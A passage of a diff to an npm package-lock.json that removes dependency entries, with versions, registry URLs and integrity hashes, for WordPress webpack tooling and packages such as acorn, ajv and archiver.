">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "optional": true, - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "optional": true, - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/is-number/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", - "dev": true, - "dependencies": { - "minimist": "^1.2.0" - }, - "bin": { - "json5": "lib/cli.js" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/loader-runner": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz", - "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==", - "dev": true, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", - "dev": true, - "dependencies": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^1.0.1" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "dependencies": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/mkdirp": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", - "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", - "dev": true, - "dependencies": { - "minimist": "^1.2.5" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/mkdirp/node_modules/minimist": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/neo-async": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", - "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/node-libs-browser": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz", - "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==", - "dev": true, - "dependencies": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^3.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", - "path-browserify": "0.0.1", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", - "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.11.0", - "vm-browserify": "^1.0.1" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/path-browserify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz", - "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/process-nextick-args": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/readable-stream/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/readdirp": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.4.0.tgz", - "integrity": "sha512-0xe001vZBnJEK+uKcj8qOhyAKPzIT+gStxWr3LCB0DwcXR5NZJ3IaC+yGnHCYzB/S7ov3m3EEbZI2zeNvX+hGQ==", - "dev": true, - "optional": true, - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "dependencies": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.2.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/string_decoder/node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/timers-browserify": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", - "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", - "dev": true, - "dependencies": { - "setimmediate": "^1.0.4" - }, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/util": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", - "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==", - "dev": true, - "dependencies": { - "inherits": "2.0.3" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/vm-browserify": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", - "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", - "dev": true - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/watchpack": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.2.tgz", - "integrity": "sha512-ymVbbQP40MFTp+cNMvpyBpBtygHnPzPkHqoIwRRj/0B8KhqQwV8LaKjtbaxF2lK4vl8zN9wCxS46IFCU5K4W0g==", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" - }, - "optionalDependencies": { - "chokidar": "^3.4.0", - "watchpack-chokidar2": "^2.0.0" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/webpack": { - "version": "4.43.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz", - "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==", - "dev": true, - "dependencies": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-module-context": "1.9.0", - "@webassemblyjs/wasm-edit": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0", - "acorn": "^6.4.1", - "ajv": "^6.10.2", - "ajv-keywords": "^3.4.1", - "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^4.1.0", - "eslint-scope": "^4.0.3", - "json-parse-better-errors": "^1.0.2", - "loader-runner": "^2.4.0", - "loader-utils": "^1.2.3", - "memory-fs": "^0.4.1", - "micromatch": "^3.1.10", - "mkdirp": "^0.5.3", - "neo-async": "^2.6.1", - "node-libs-browser": "^2.2.1", - "schema-utils": "^1.0.0", - "tapable": "^1.1.3", - "terser-webpack-plugin": "^1.4.3", - "watchpack": "^1.6.1", - "webpack-sources": "^1.4.1" - }, - "bin": { - "webpack": "bin/webpack.js" - }, - "engines": { - "node": ">=6.11.5" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/@wordpress/dependency-extraction-webpack-plugin/node_modules/webpack-sources": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", - "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", - "dev": true, - "dependencies": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - } - }, - "node_modules/@wordpress/hooks": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@wordpress/hooks/-/hooks-2.0.5.tgz", - "integrity": "sha512-EcE7lm5p6f3qB6nJClY3LPejFpbjo66b6j4ihgLLgrWMKqs4lLPGS2OzK4KyP0O52cofKj+Tv/wBaAiYSufFcA==", - "dev": true, - "dependencies": { - "@babel/runtime": "^7.0.0" - } - }, - "node_modules/@wordpress/url": { - "version": "2.15.0", - "resolved": "https://registry.npmjs.org/@wordpress/url/-/url-2.15.0.tgz", - "integrity": "sha512-nDGZslWZ6TMve3/09O9b2vGaCP2JXoe95uIrkChkw1DVH3tq/tCg1gwQsPXvhBIw5OmopzwlSEuwwp348hyaCA==", - "dependencies": { - "@babel/runtime": "^7.9.2", - "lodash": "^4.17.15", - "qs": "^6.5.2", - "react-native-url-polyfill": "^1.1.2" - } - }, - "node_modules/@wordpress/url/node_modules/@babel/runtime": { - "version": "7.10.2", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.2.tgz", - "integrity": "sha512-6sF3uQw2ivImfVIl62RZ7MXhO2tap69WeWK57vAaimT6AZbE4FbqjdEJIN1UqoD6wI6B+1n9UiagafH1sxjOtg==", - "dependencies": { - "regenerator-runtime": "^0.13.4" - } - }, - "node_modules/@wordpress/url/node_modules/lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" - }, - "node_modules/@wordpress/url/node_modules/qs": { - "version": "6.9.4", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.4.tgz", - "integrity": "sha512-A1kFqHekCTM7cz0udomYUoYNWjBebHm/5wzU/XqrBRBNWectVH0QIiN+NEcZ0Dte5hvzHwbr8+XQmguPhJ6WdQ==", - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/@wordpress/url/node_modules/regenerator-runtime": { - "version": "0.13.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", - "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" - }, - "node_modules/@xtuc/ieee754": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", - "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", - "dev": true - }, - "node_modules/@xtuc/long": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", - "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", - "dev": true - }, - "node_modules/abbrev": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.0.tgz", - "integrity": "sha1-0FVMIlZjbi9W58LlrRg/hZQo2B8=", - "dev": true - }, - "node_modules/acorn": { - "version": "7.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", - "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-dynamic-import": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz", - "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", - "dev": true, - "dependencies": { - "acorn": "^5.0.0" - } - }, - "node_modules/acorn-dynamic-import/node_modules/acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-3.0.1.tgz", - "integrity": "sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=", - "dev": true, - "dependencies": { - "acorn": "^3.0.4" - } - }, - "node_modules/acorn-jsx/node_modules/acorn": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", - "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-node": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.5.2.tgz", - "integrity": "sha512-krFKvw/d1F17AN3XZbybIUzEY4YEPNiGo05AfP3dBlfVKrMHETKpgjpuZkSF8qDNt9UkQcqj7am8yJLseklCMg==", - "dev": true, - "dependencies": { - "acorn": "^5.7.1", - "acorn-dynamic-import": "^3.0.0", - "xtend": "^4.0.1" - } - }, - "node_modules/acorn-node/node_modules/acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/ajv": { - "version": "5.5.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", - "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", - "dev": true, - "dependencies": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" - } - }, - "node_modules/ajv-errors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", - "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", - "dev": true, - "peerDependencies": { - "ajv": ">=5.0.0" - } - }, - "node_modules/ajv-keywords": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-2.1.1.tgz", - "integrity": "sha1-YXmX/F9gV2iUxDX5QNgZ4TW4B2I=", - "dev": true, - "peerDependencies": { - "ajv": "^5.0.0" - } - }, - "node_modules/align-text": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", - "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2", - "longest": "^1.0.1", - "repeat-string": "^1.5.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/allure-js-commons": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/allure-js-commons/-/allure-js-commons-1.3.2.tgz", - "integrity": "sha512-FTmoqP36ZjHFT4iLdYamyCFhyj1jqD6BIdiZ5pBlyafDJrFRV76XIXNxwRqbHpSw40o1vHzYi4vGpmREnhnHVw==", - "dev": true, - "dependencies": { - "file-type": "^7.7.1", - "fs-extra": "^6.0.1", - "js2xmlparser": "^3.0.0", - "mime": "^2.3.1", - "object-assign": "^4.1.1", - "uuid": "^3.0.0" - } - }, - "node_modules/allure-js-commons/node_modules/fs-extra": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-6.0.1.tgz", - "integrity": "sha512-GnyIkKhhzXZUWFCaJzvyDLEEgDkPfb4/TPvJCJVuS8MWZgoSsErf++QpiAlDnKFcqhRlm+tIOcencCjyJE6ZCA==", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - } - }, - "node_modules/allure-js-commons/node_modules/mime": { - "version": "2.4.4", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz", - "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA==", - "dev": true, - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/alphanum-sort": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz", - "integrity": "sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=", - "dev": true - }, - "node_modules/amdefine": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", - "dev": true, - "engines": { - "node": ">=0.4.2" - } - }, - "node_modules/ansi-escapes": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz", - "integrity": "sha512-UgAb8H9D41AQnu/PbWlCofQVcnV4Gs2bBJi9eZPxfU/hgglFh3SMDMENRIqdr7H6XFnXdoknctFByVsCOotTVw==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/ansi-styles": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", - "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/anymatch": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.0.tgz", - "integrity": "sha1-o+Uvo5FoyCX/V7AkgSbOWo/5VQc=", - "dev": true, - "dependencies": { - "arrify": "^1.0.0", - "micromatch": "^2.1.5" - } - }, - "node_modules/aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true - }, - "node_modules/archiver": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/archiver/-/archiver-3.0.3.tgz", - "integrity": "sha512-d0W7NUyXoLklozHHfvWnHoHS3dvQk8eB22pv5tBwcu1jEO5eZY8W+gHytkAaJ0R8fU2TnNThrWYxjvFlKvRxpw==", - "dev": true, - "dependencies": { - "archiver-utils": "^2.1.0", - "async": "^2.6.3", - "buffer-crc32": "^0.2.1", - "glob": "^7.1.4", - "readable-stream": "^3.4.0", - "tar-stream": "^2.1.0", - "zip-stream": "^2.1.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/archiver-utils": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-1.3.0.tgz", - "integrity": 